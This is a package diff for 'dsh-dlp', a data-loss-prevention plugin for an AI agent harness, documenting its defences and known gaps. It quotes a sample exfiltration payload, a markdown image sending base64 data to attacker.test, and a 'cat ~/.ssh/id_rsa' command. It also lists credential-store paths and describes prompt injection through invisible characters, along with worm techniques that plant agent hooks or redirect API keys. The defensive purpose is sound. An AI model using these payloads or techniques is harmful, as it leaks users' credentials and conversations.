dsh-dlp 0.2.0 → 0.4.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -3,7 +3,7 @@
3
3
  Data-loss prevention for [DeepSeek Harness](https://github.com/deepseek-ai/deepseek-harness),
4
4
  built as an out-of-repo plugin.
5
5
 
6
- It does five things:
6
+ It does seven things:
7
7
 
8
8
  1. **Denies credential-file access and secrets bound for the network** — unconditionally, from
9
9
  `ctx.tools.guard()`. It tests the path-typed arguments of a call against a table of
@@ -15,7 +15,16 @@ It does five things:
15
15
  4. **Strips the invisible characters that carry hidden instructions** out of tool results —
16
16
  the Tags block and bidi overrides — and counts the classes it will not touch because they
17
17
  also appear in legitimate text.
18
- 5. **Writes an audit record for every decision** to its own sink rule id, rule version,
18
+ 5. **Neutralises remote markdown images in assistant output**, and detects a tool call another
19
+ plugin rewrote after the session log recorded it. Both are partial mitigations for defects
20
+ in the harness rather than in your configuration —
21
+ [see below](#mitigations-for-defects-in-the-harness-itself), including what they do not close.
22
+ 6. **Asks before the agent writes a file that changes future behaviour** — agent settings and
23
+ hooks, `CLAUDE.md`, `.cursor/rules/**`, `.vscode/tasks.json`, `.mcp.json`, git hooks, CI
24
+ workflows, shell startup files — and before it writes a `*_BASE_URL` that would redirect a
25
+ provider credential. This tier prompts rather than denying, and is neutralizable;
26
+ [see below](#behaviour-changing-config-paths).
27
+ 7. **Writes an audit record for every decision** to its own sink — rule id, rule version,
19
28
  offsets, and a keyed hash. Never the secret, and never the path or command that matched.
20
29
  `dsh-dlp report` reads that sink back.
21
30
 
@@ -34,6 +43,12 @@ egress firewalling. Use this alongside them, not instead of them.
34
43
 
35
44
  More limits worth stating up front:
36
45
 
46
+ - **Only the guard floor is unconditional.** Every other seam can be neutralised by a listener
47
+ registered ahead of ours: a `tools/pre-execute` listener that returns without calling `next()`
48
+ disables the breadth tier, and a `tools/post-execute` listener ahead of ours can replace a
49
+ result after it was redacted. `ctx.tools.guard()` is order-independent only because it has no
50
+ allow arm. A `tools/pre-execute` deny also skips guards entirely, so the audit sink cannot
51
+ claim to have seen every call.
37
52
  - **The shell-command arm is advisory pattern-matching.** A `bash` command line is split on
38
53
  shell-ish separators and each token is tested as a path. That catches an unobfuscated
39
54
  `cat ~/.ssh/id_rsa`. It catches nothing that tries: `cat ~/.netr?` (one glob character),
@@ -50,7 +65,8 @@ More limits worth stating up front:
50
65
  - **Already-logged history cannot be rewritten; a not-yet-logged inbound message can.** At
51
66
  `llm/stream` the options are deep-frozen and `next()` takes no arguments, so a request the
52
67
  agent has assembled goes out as it stands and a secret already in the conversation reaches
53
- the provider. That is not the whole rule, though: `agent/pre-step` is an async waterfall
68
+ the provider. (The same waterfall's *response* side is writable, and that is where remote
69
+ image destinations are neutralised — see below.) That is not the whole rule, though: `agent/pre-step` is an async waterfall
54
70
  returning `{ kind: 'enter'; messages }`, and the only production append of `user/message`
55
71
  happens *after* it, so a message arriving from outside can still be rewritten before it is
56
72
  logged or presented. This release does not do that; it is recorded here because the earlier
@@ -71,8 +87,143 @@ More limits worth stating up front:
71
87
  is 100% for anything up to 22 characters, which is most of the credential formats worth
72
88
  catching. A detector that fires on the long ones the prefix rules already catch and misses
73
89
  the rest is not worth the false positives it costs.
90
+ - **A secret containing a delimiter can still be split across two redactions.** Every reported
91
+ span grows outward to the nearest delimiter, which over-redacts in the safe direction, but a
92
+ secret whose own text contains one of those delimiters is covered by two placeholders with the
93
+ delimiter left between them.
94
+ - **`additionalContexts` are not scanned.** They are model-visible `UserMessage` payloads and
95
+ this release does not redact them.
96
+ - **Local writes are out of scope.** A `write` or `edit` into a synced directory moves data off
97
+ the machine without going through an egress-capable tool.
98
+ - **Telemetry redaction covers a mounted backend's records only.** A second exporter mounted
99
+ outside the `session-telemetry/record` waterfall is not covered.
100
+ - **`$DSH_HOME` is readable by a read-only tool.** Profile manifests and the installed plugin
101
+ tree are ordinary work to read, so which plugins a profile loads is model-visible. Only writes
102
+ are denied wholesale there, plus reads of the credential material inside it.
74
103
 
75
- The full list is in [PLAN.md §8](PLAN.md).
104
+ ---
105
+
106
+ ## Mitigations for defects in the harness itself
107
+
108
+ Three of this plugin's registrations work around defects in DeepSeek Harness, not in a
109
+ deployment's configuration. **None of them closes its channel**, an upstream fix is better in
110
+ all three cases, and each is written up in `../disclosures/findings/`. They are here because we
111
+ build on these seams today and wanted the accident case narrowed while the upstream question is
112
+ open.
113
+
114
+ ### Remote markdown images in assistant output (finding 001)
115
+
116
+ The web UI renders any absolute `http(s)` markdown image a model emits as a real `<img src>`,
117
+ and the harness sets no Content-Security-Policy. An injected agent emitting
118
+ `![](https://attacker.test/?d=<base64 of something you said>)` makes **your browser** issue that
119
+ request; the harness process never sees it, so no guard, no DLP pass and no audit surface here
120
+ can observe it.
121
+
122
+ This plugin wraps the `llm/stream` waterfall and replaces the destination of every inline
123
+ markdown image whose target is an absolute `http:`/`https:` URL, keeping the alt text:
124
+
125
+ ```
126
+ ![receipt](https://attacker.test/p?d=c2VjcmV0) -> ![receipt](dsh-dlp-blocked-remote-image)
127
+ ```
128
+
129
+ The placeholder is deliberately not a URL, so the renderer takes its own "not an absolute
130
+ destination" arm and shows the alt text instead of fetching anything. Rewriting happens before
131
+ the text becomes an `assistant/chunk` or `assistant/message` event, so the session log and the
132
+ rendered answer agree, and it happens on streamed deltas too — a destination arriving eight
133
+ characters at a time is caught before any accumulation of it can render. The audit record names
134
+ the **hostname only**, never the path or query string, because that is where an exfiltration
135
+ payload rides.
136
+
137
+ What it does not close:
138
+
139
+ - **Only inline image syntax is matched.** A reference-style image (`![alt][ref]` with a
140
+ `[ref]: https://…` definition elsewhere) still renders and still fetches. We do not neutralise
141
+ those, because the definition is shared with ordinary links and killing it would break them.
142
+ - **A destination form the pattern does not model gets through** — an alt text containing `]`,
143
+ unusual percent-encodings, or any future renderer-accepted syntax.
144
+ - **Reasoning text is not touched**, because the UI renders it as plain text rather than
145
+ markdown. If that changes upstream, this stops covering it.
146
+ - Raw HTML needs no handling: the renderer keeps `<img …>` as literal text and no HTML enters
147
+ the DOM. That is upstream doing the right thing, and it is why this only has to handle
148
+ markdown.
149
+ - **This is a real behavioural change.** An assistant answer that legitimately links an image
150
+ loses it — the user sees the alt text instead of the picture. That is why it is a switch:
151
+ `remoteImageNeutralization: false` turns it off, and a deployment whose agents produce useful
152
+ images should turn it off and set a CSP at whatever serves the UI instead.
153
+ - **The upstream fix is one `img-src` directive** in a Content-Security-Policy. That covers
154
+ every form, every client, and every channel of this shape at once. This plugin's version
155
+ covers the common syntax on one seam. Prefer the directive.
156
+
157
+ ### A tool call rewritten between `tools/pre-execute` and the guard (finding 002)
158
+
159
+ The registry deep-freezes `exec.arguments` but does not freeze the execution object until
160
+ results are notified. A `tools/pre-execute` listener can therefore reassign `exec.arguments` or
161
+ `exec.name` — and reassigning `exec.name` **changes which tool body runs** — while the agent
162
+ loop appended `tool/call` from the model's own response block *before* the waterfall ran. The
163
+ durable record then describes a call that never happened, and nothing warns anyone.
164
+
165
+ This plugin snapshots each call's name and a keyed digest of its arguments at the head of the
166
+ waterfall, and compares in the guard, which runs after the whole waterfall. A mismatch is
167
+ **denied**, with an audit record naming which field changed and, when the name changed, the tool
168
+ the log recorded:
169
+
170
+ ```
171
+ dsh-dlp denied "dangerous": another mounted plugin rewrote this call's name after the session
172
+ log recorded it, so the log and the presented call describe something other than what would
173
+ have run. The session log records a call to "safe". ...
174
+ ```
175
+
176
+ What it does not close:
177
+
178
+ - **It detects; it does not prevent.** Preventing the rewrite means freezing an object this
179
+ plugin does not own, which would break `tools/execute` wrappers that legitimately replace
180
+ `exec.signal`. The tool body does not run, but the mutation still happened.
181
+ - **The snapshot is best-effort, not a floor.** It is registered with `{ prepend: true }`, so it
182
+ runs before listeners registered earlier — but a listener registered *later* with the same
183
+ option runs ahead of it and would be snapshotted after its own rewrite.
184
+ - **A call this plugin never saw is never a finding.** Absence of a snapshot means abstain, so
185
+ scoped dispatches this listener does not receive pass unremarked rather than being denied.
186
+ - **It says nothing about other plugins' decisions.** A `deny` or an `ask` from another
187
+ `tools/pre-execute` listener is ordinary traffic; a deny also skips the guard entirely, so
188
+ nothing here is even consulted.
189
+ - **The upstream fix is better**: two `Object.defineProperty(execution, …, { writable: false })`
190
+ calls at the mint site, or a scheduler-invariant throw naming the offending plugin. Either
191
+ makes the rewrite impossible or fatal at the source instead of denying a call downstream of
192
+ it. This check is not configurable, for the same reason the rest of the floor is not.
193
+
194
+ ### The telemetry redactor cannot run under the shipped default (finding 008)
195
+
196
+ A `session-telemetry/record` listener mounts successfully and **silently never runs** under the
197
+ shipped `DSH_TELEMETRY_MODE=DISABLED`, because the coordinator that dispatches the waterfall is
198
+ constructed only in `FULL`/`FEEDBACK_ONLY`. Nothing is exported in that mode, so this is not a
199
+ leak — it is a verification trap: you mount a redactor, see it mount, and have verified nothing.
200
+
201
+ When `telemetryRedaction` is on, this plugin reads the mounted backend's own `sharing`
202
+ disclosure and reports on `process.stderr` **and** `ctx.logger` when the seam will never
203
+ dispatch:
204
+
205
+ ```
206
+ dsh-dlp: telemetryRedaction is enabled, but the mounted session-telemetry backend reports
207
+ sharing "disabled", so nothing dispatches the session-telemetry/record waterfall and this
208
+ plugin's telemetry redaction never runs. Nothing is exported in this state, so this is not a
209
+ leak — it means the redaction rules are unverified, and they begin running the moment
210
+ telemetry is turned on. Informational only: the plugin's other seams are unaffected.
211
+ ```
212
+
213
+ What it does not close:
214
+
215
+ - **It is informational and never fatal.** `DISABLED` is the safe default and the right posture
216
+ for most deployments; the plugin mounts and every other seam runs normally.
217
+ - **It reads a disclosure, not the environment.** `DSH_TELEMETRY_MODE` is only the base
218
+ bundle's default expression for a `mode` a deployment can also set directly, so guessing at
219
+ the variable would be wrong. If a backend discloses `full` or `feedback-only` while
220
+ dispatching nothing, this says nothing.
221
+ - **A backend that mounts after this plugin is answered late.** The check runs at mount if the
222
+ service is already there and otherwise at the first session event, because absence at mount
223
+ cannot be told apart from a load order.
224
+ - **The upstream fix is better**: warn at mount when a `session-telemetry/record` hook exists
225
+ under `DISABLED`, or construct the coordinator unconditionally and drop after the waterfall.
226
+ Either makes the trap visible for every listener, not only ours.
76
227
 
77
228
  ---
78
229
 
@@ -102,7 +253,7 @@ checkout, build first and add the tarball:
102
253
  ```sh
103
254
  git clone https://github.com/CharlotteN7/dsh-dlp && cd dsh-dlp
104
255
  pnpm install && pnpm run build && pnpm pack
105
- dsh plugin --profile <name> add ./dsh-dlp-0.1.0.tgz
256
+ dsh plugin --profile <name> add ./dsh-dlp-0.3.0.tgz
106
257
  ```
107
258
 
108
259
  ## Configure
@@ -118,7 +269,9 @@ dsh plugin --profile <name> add ./dsh-dlp-0.1.0.tgz
118
269
  breadthTier: true
119
270
  resultRedaction: true
120
271
  telemetryRedaction: true
272
+ remoteImageNeutralization: true
121
273
  redactTelemetryWorkspacePaths: true
274
+ configWriteAsk: true
122
275
  ```
123
276
 
124
277
  `redactionKeyFile` is created on first mount with 32 random bytes at mode `0600`. Keep it out
@@ -148,7 +301,7 @@ addCredentialPaths:
148
301
  addEgressTools: [acme_publish]
149
302
  raiseSeverity:
150
303
  dsh-dlp/secret-assignment: high
151
- enable: [telemetryRedaction]
304
+ enable: [telemetryRedaction, configWriteAsk]
152
305
  ```
153
306
 
154
307
  Any other key, and any downgrade, makes the **whole file invalid**: it is reported on
@@ -181,6 +334,22 @@ directories (but not `.env.example`), anything under `.ssh/`,
181
334
  documentation extensions are excluded from that last rule, so `src/auth/token.ts` stays
182
335
  readable.
183
336
 
337
+ **Coding-agent and infrastructure credential stores**, which IronWorm's 44 packages and
338
+ SANDWORM_MODE name verbatim: an `auth.json` under `.codex/`, `Cursor/`, `.composer/`,
339
+ `.windsurf/`, `.continue/`, `.aider/`, `.claude/` or `.gemini/`; an `mcp.json` under any of the
340
+ same directories, because an MCP manifest carries each server's `env` and that is where its API
341
+ keys are written; Cursor's `state.vscdb` session database; anything under `Library/Keychains/`;
342
+ `*.tfvars` and `terraform.tfstate`, which hold provider credentials in plaintext.
343
+
344
+ **A home-level agent settings file is denied for writing only.** `~/.claude/settings.json`,
345
+ `~/.gemini/settings.json` and the equivalents for Codex, Cursor, Windsurf and Continue decide
346
+ how every future session in every repository behaves — this is where the Miasma worm put its
347
+ `SessionStart` hooks — so writing one is on the floor. Reading one is ordinary work, since a
348
+ user asking why their agent behaves a certain way is a normal request, so the rule is lifted for
349
+ a tool that provably cannot change anything. The **repository-local** copies of those same file
350
+ names are a different question with a different answer: see
351
+ [behaviour-changing config paths](#behaviour-changing-config-paths) below.
352
+
184
353
  Also denied for every tool: this plugin's own `redactionKeyFile` and `auditLog`.
185
354
 
186
355
  **`$DSH_HOME` is split by direction.** Every *write* under the harness home is denied, for
@@ -235,6 +404,69 @@ need, or use a path that is not a credential store.
235
404
 
236
405
  ---
237
406
 
407
+ ## Behaviour-changing config paths
408
+
409
+ Everything above governs **reads**. The dominant technique of 2026 is the opposite: the agent
410
+ *writes* a file that changes what happens next time. The Miasma worm put `SessionStart` hooks in
411
+ `.claude/settings.json` and `.gemini/settings.json`, an always-apply `.cursor/rules/setup.mdc`,
412
+ a `folderOpen` task in `.vscode/tasks.json` and a hijacked `npm test` into `Azure/durabletask`;
413
+ GitHub disabled 73 repositories across Azure, microsoft and Azure-Samples over it, 39 of them
414
+ inside 38 seconds. See also CVE-2025-53773, CVE-2026-25725, CVE-2026-33068, CVE-2026-48124,
415
+ CVE-2026-26268 and CVE-2025-59041.
416
+
417
+ A write to one of these **asks the user first**:
418
+
419
+ | Rule | Paths |
420
+ |---|---|
421
+ | `config-agent-settings` | `.claude/settings*.json`, and the same under `.gemini/`, `.codex/`, `.cursor/`, `.windsurf/`, `.continue/` |
422
+ | `config-agent-hooks` | `.claude/hooks/**` and the same under the other agent directories |
423
+ | `config-agent-instructions` | `CLAUDE.md`, `AGENTS.md`, `GEMINI.md`, `.cursorrules`, `.windsurfrules` |
424
+ | `config-agent-rules` | `.cursor/rules/**`, `.windsurf/rules/**`, `.continue/rules/**` |
425
+ | `config-mcp-manifest` | `.mcp.json` |
426
+ | `config-editor-tasks` | `.vscode/settings.json`, `.vscode/tasks.json`, `.vscode/launch.json` |
427
+ | `config-git` | `.git/config`, `.git/hooks/**` |
428
+ | `config-git-hooks-managed` | `.husky/**` |
429
+ | `config-ci-workflow` | `.github/workflows/**`, `.gitlab-ci.yml`, `.circleci/**` |
430
+ | `config-shell-rc` | `.bashrc`, `.bash_profile`, `.profile`, `.zshrc`, `.zprofile`, `.zshenv`, `.kshrc`, `config.fish`, … |
431
+ | `config-harness-bundle` | `cordis*.yml` |
432
+ | `config-api-base-url` | not a path — content setting a `*_BASE_URL` or `*_API_BASE` to an `http(s)` URL |
433
+
434
+ The last row is CVE-2026-21852: a repo-local settings file that sets `ANTHROPIC_BASE_URL` sends
435
+ the user's own API key to whatever host it names. That is neither a path nor a secret — it is a
436
+ config key whose *value* redirects a credential — so it is matched against the bytes the call
437
+ would write rather than against where they would go.
438
+
439
+ **Rules match by name, so creating a file is covered as well as changing one.** CVE-2026-25725
440
+ worked precisely because the path did not exist yet and was therefore writable with nothing to
441
+ prompt about.
442
+
443
+ **This tier is `ask`, and it is therefore neutralizable — unlike the floor.** That is deliberate
444
+ and it is the important sentence in this section. A developer asks the agent to edit `CLAUDE.md`
445
+ or add a workflow constantly; the guard floor is deny-only and non-overridable by design, so a
446
+ rule with that false-positive rate must not go there. It lives at `tools/pre-execute`, which
447
+ means a listener registered ahead of ours can return without calling `next()` and switch the
448
+ whole tier off. Treat it as a prompt, not as a control.
449
+
450
+ **A call the floor already denies is left to the floor**, and no prompt appears for it. Any
451
+ non-allow decision at `tools/pre-execute` skips guards entirely, so asking about a call the
452
+ guard would deny would replace an unconditional denial with a prompt a user can grant. That is
453
+ also why `~/.claude/settings.json` and a repository's own `.claude/settings.json` behave
454
+ differently: the first is on the floor, the second is a prompt.
455
+
456
+ Two more limits worth stating:
457
+
458
+ - **A shell redirection is not covered.** Only path-typed arguments are tested, and unlike the
459
+ floor the command line is not tokenised: a shell command cannot be told apart from a *read* of
460
+ the same file, and prompting on `cat .github/workflows/ci.yml` is exactly the false positive
461
+ that gets a tier switched off.
462
+ - **With no approval service mounted, the tier abstains rather than denying.** The registry
463
+ resolves an `ask` through `ctx.get('approval')` and degrades to a *denial* when nothing is
464
+ composed — which would turn this tier into the silent hard deny it was designed not to be. It
465
+ reports once on `process.stderr` and `ctx.logger` and lets the call through. `configWriteAsk:
466
+ false` turns it off entirely.
467
+
468
+ ---
469
+
238
470
  ## What gets redacted
239
471
 
240
472
  A redacted region becomes:
@@ -283,10 +515,16 @@ the redacted copy.
283
515
  Two tiers:
284
516
 
285
517
  - **Tier 1**, synchronous and owned by this package: prefix-anchored token formats (AWS,
286
- GitHub, Slack, Stripe, OpenAI, Anthropic, Google, npm), PEM private-key blocks, JWTs,
287
- credential-bearing URLs, Slack/Discord/Teams webhook URLs, and high-signal secret
288
- assignments. This is the tier the guard and the telemetry listener use, because both of
289
- those seams are synchronous, and it is never capped.
518
+ GitHub, GitLab, Slack, Stripe, OpenAI, OpenRouter, Anthropic, Google API keys and
519
+ `GOCSPX-` OAuth client secrets, npm, HuggingFace, Groq, xAI, Databricks, SendGrid,
520
+ Supabase, Notion), PEM private-key blocks, JWTs, credential-bearing URLs,
521
+ Slack/Discord/Teams webhook URLs, and high-signal secret assignments. This is the tier the
522
+ guard and the telemetry listener use, because both of those seams are synchronous, and it is
523
+ never capped.
524
+
525
+ Prefix-anchored is the whole criterion for being in this tier, and the reason the table keeps
526
+ growing rather than deferring to tier 2 is the line below: **the telemetry seam cannot reach
527
+ tier 2**, so a format missing from tier 1 is exported in the clear when telemetry is on.
290
528
  - **Tier 2**, [`@secretlint/core`](https://github.com/secretlint/secretlint) with the
291
529
  recommended preset — 28 maintained rules, in-process, no subprocess. Used at
292
530
  `tools/pre-execute` and `tools/post-execute`, the two seams that can await. **The telemetry
@@ -309,7 +547,9 @@ session titles — and never on the tool-result path.
309
547
  | Bidi overrides and isolates | `U+202A–U+202E`, `U+2066–U+2069` | replaced |
310
548
  | Zero-width | `U+200B–U+200D`, `U+2060`, `U+FEFF` | counted only |
311
549
  | Bidi marks | `U+061C`, `U+200E–U+200F` | counted only |
312
- | Variation selectors | `U+FE00–U+FE0F`, `U+E0100–U+E01EF` | counted only |
550
+ | Variation selectors, 1–3 in a row | `U+FE00–U+FE0F`, `U+E0100–U+E01EF` | counted only |
551
+ | Variation selectors, 4 or more in a row | the same class | replaced |
552
+ | Terminal control sequences | CSI, OSC, DCS, SOS, PM, APC, other `ESC` forms, C1 `U+0080–U+009F` | counted in tool results, **replaced in the audit sink** |
313
553
 
314
554
  The first two have no legitimate use in tool output — the Tags block is a full invisible ASCII
315
555
  alphabet, which is what makes it the standard carrier for a hidden instruction. The last three
@@ -322,6 +562,30 @@ character is never turned into a denial. A replaced run becomes an ordinary plac
322
562
  unlike a secret, is replaced exactly: an invisible character is not widened to its surrounding
323
563
  delimiters, so the visible word it hid inside survives.
324
564
 
565
+ **Variation selectors are split by run length.** One selector picks a glyph — VS15/VS16 after a
566
+ base character, one selector after one ideograph in an Ideographic Variation Sequence — so an
567
+ isolated occurrence stays counted-only. A run of four or more is not glyph selection: it is a
568
+ byte string wearing the same code points, which is how GlassWorm hid executable JavaScript
569
+ across five waves, 35,800 installs, 300+ repositories and the first MCP package compromises. An
570
+ emoji ZWJ sequence separates its selectors with a joiner, so no legitimate sequence produces a
571
+ run at all; four is a conservative floor, and a real payload is hundreds of selectors long.
572
+
573
+ **Terminal control sequences are split by lane rather than by class.** A tool result carrying
574
+ SGR colour codes is the normal output of `git diff`, `rg` and `pytest`, so on that lane the
575
+ class is counted and left alone. On the lane that ends in an audit record it is **replaced**
576
+ with `[REDACTED:dsh-dlp:control-sequence]`, because a record is evidence and evidence must not
577
+ be able to rewrite itself: `JSON.stringify` escapes the byte in the file, but `dsh-dlp report`,
578
+ `jq -r` and every log viewer parse it back into a live escape, so a tool registered under a name
579
+ containing `ESC [ 1 A ESC [ 2 K` could overwrite the audit line describing it. The whole CSI
580
+ form is matched, not the SGR subset, along with OSC, DCS, SOS, PM, APC, the other escape forms
581
+ and the 8-bit C1 controls; an unterminated OSC is matched to the end of the string, because that
582
+ is how much of the display it would swallow. A repo-local `policyFile` whose rule `id` carries
583
+ one is rejected outright, since a rule id is quoted in the denial the user reads.
584
+
585
+ Not covered: a bare `\r`, `\b` or `\f` can still overprint a line on a terminal. Those have
586
+ ordinary uses in tool output and are escaped by `JSON.stringify` in the sink; the escape-driven
587
+ forms above are the ones with no benign use in a record.
588
+
325
589
  **A homoglyph defeats all of this**, and every other rule in this plugin. A Cyrillic `а` in
326
590
  `аdmin` is a normal, visible, legitimately-encoded character; detecting it means UTS #39
327
591
  confusable tables, which is a data set and a different cost class. This plugin does not attempt
@@ -383,7 +647,13 @@ its own identity.
383
647
  }
384
648
  ```
385
649
 
386
- `kind` is one of `guard-deny`, `pre-execute-deny`, `result-redaction`, `telemetry-redaction`.
650
+ `kind` is one of `guard-deny`, `pre-execute-deny`, `pre-execute-ask`, `execution-mutation`,
651
+ `result-redaction`, `telemetry-redaction`, `assistant-image-neutralized`. A `pre-execute-ask`
652
+ record carries a top-level `ruleId` instead of `spans`: the finding is that a path names a
653
+ behaviour-changing file, not that any region of it matched. An `execution-mutation` record carries
654
+ `mutatedFields` and, when a tool substitution happened, the `originalTool` the log recorded. An
655
+ `assistant-image-neutralized` record carries `host` — the hostname of the blocked destination
656
+ and nothing else from the URL.
387
657
  A `result-redaction` record may also carry `unicode`, a count of invisible-character runs per
388
658
  class — counts only, because a hidden instruction is exactly the content this file must not
389
659
  repeat. A record is written whenever there is something to say, including a result that was
package/SECURITY.md CHANGED
@@ -4,11 +4,12 @@
4
4
 
5
5
  | Version | Supported |
6
6
  |---|---|
7
- | 0.1.x | yes |
8
- | < 0.1 | no |
7
+ | 0.3.x | yes |
8
+ | < 0.3 | no |
9
9
 
10
- Only the latest published `0.1.x` receives fixes. There is no long-term-support branch while
11
- the package is pre-1.0.
10
+ Only the latest published `0.3.x` receives fixes. There is no long-term-support branch while
11
+ the package is pre-1.0: each minor supersedes the one before it, and a fix ships as the next
12
+ `0.3.x` patch or, if the minor has already moved on, as the next minor.
12
13
 
13
14
  ## Reporting a vulnerability
14
15
 
@@ -29,7 +30,7 @@ otherwise.
29
30
 
30
31
  This plugin is **not a containment boundary**. It runs in-process at the agent's own uid, so
31
32
  anything the agent can execute can read the same files the guard denies. The following are
32
- documented limits, not vulnerabilities — they are described in README.md and PLAN.md §8:
33
+ documented limits, not vulnerabilities — they are described in README.md:
33
34
 
34
35
  - shell-command obfuscation defeating the `bash` path arm (globbing, quoting, substitution, a
35
36
  different binary);
@@ -44,4 +45,11 @@ These do count, and we want to hear about them:
44
45
  - a secret surviving into the session log through a `tools/post-execute` arm;
45
46
  - a repo-local `policyFile` loosening any part of the floor, executing code, or stalling the
46
47
  agent;
47
- - any way to make the guard abstain that does not require executing code.
48
+ - any way to make the guard abstain that does not require executing code;
49
+ - a terminal control sequence, or any other forgeable bytes, reaching the audit sink or a
50
+ denial the user reads.
51
+
52
+ The `ask` tier for behaviour-changing config paths is **not** part of the floor and is
53
+ documented as neutralizable: it lives at `tools/pre-execute`, so a listener registered ahead of
54
+ it disables it. A missed path there is a gap worth reporting; the fact that another plugin can
55
+ switch the tier off is a stated design limit, not a vulnerability.
package/cordis.patch.yml CHANGED
@@ -19,4 +19,6 @@
19
19
  breadthTier: true
20
20
  resultRedaction: true
21
21
  telemetryRedaction: true
22
+ remoteImageNeutralization: true
22
23
  redactTelemetryWorkspacePaths: true
24
+ configWriteAsk: true
package/lib/cli.js CHANGED
@@ -16,7 +16,7 @@ import { readFileSync, realpathSync } from 'node:fs';
16
16
  import { fileURLToPath } from 'node:url';
17
17
  import { defaultAuditLog } from "./home.js";
18
18
  /** Decision kinds that stopped a call, as opposed to rewriting its result. */
19
- const DENYING_KINDS = new Set(['guard-deny', 'pre-execute-deny']);
19
+ const DENYING_KINDS = new Set(['guard-deny', 'pre-execute-deny', 'execution-mutation']);
20
20
  /** How many decisions the report lists individually. */
21
21
  const RECENT_LIMIT = 10;
22
22
  /** Read one string field, or `undefined` when the line does not carry it. */
@@ -24,18 +24,22 @@ function stringField(record, key) {
24
24
  const value = record[key];
25
25
  return typeof value === 'string' ? value : undefined;
26
26
  }
27
- /** Rule ids named by a record's spans, in file order and without repeats. */
27
+ /**
28
+ * Rule ids a record names, in file order and without repeats: one per span,
29
+ * plus the top-level `ruleId` a decision with no matched region carries.
30
+ */
28
31
  function ruleIdsOf(record) {
32
+ const named = stringField(record, 'ruleId');
29
33
  const spans = record['spans'];
30
34
  if (!Array.isArray(spans))
31
- return [];
35
+ return named === undefined ? [] : [named];
32
36
  const ids = spans.flatMap((span) => {
33
37
  if (typeof span !== 'object' || span === null)
34
38
  return [];
35
39
  const ruleId = span['ruleId'];
36
40
  return typeof ruleId === 'string' ? [ruleId] : [];
37
41
  });
38
- return [...new Set(ids)];
42
+ return [...new Set(named === undefined ? ids : [named, ...ids])];
39
43
  }
40
44
  /** Invisible-character counts a record carries, keeping only numeric entries. */
41
45
  function unicodeOf(record) {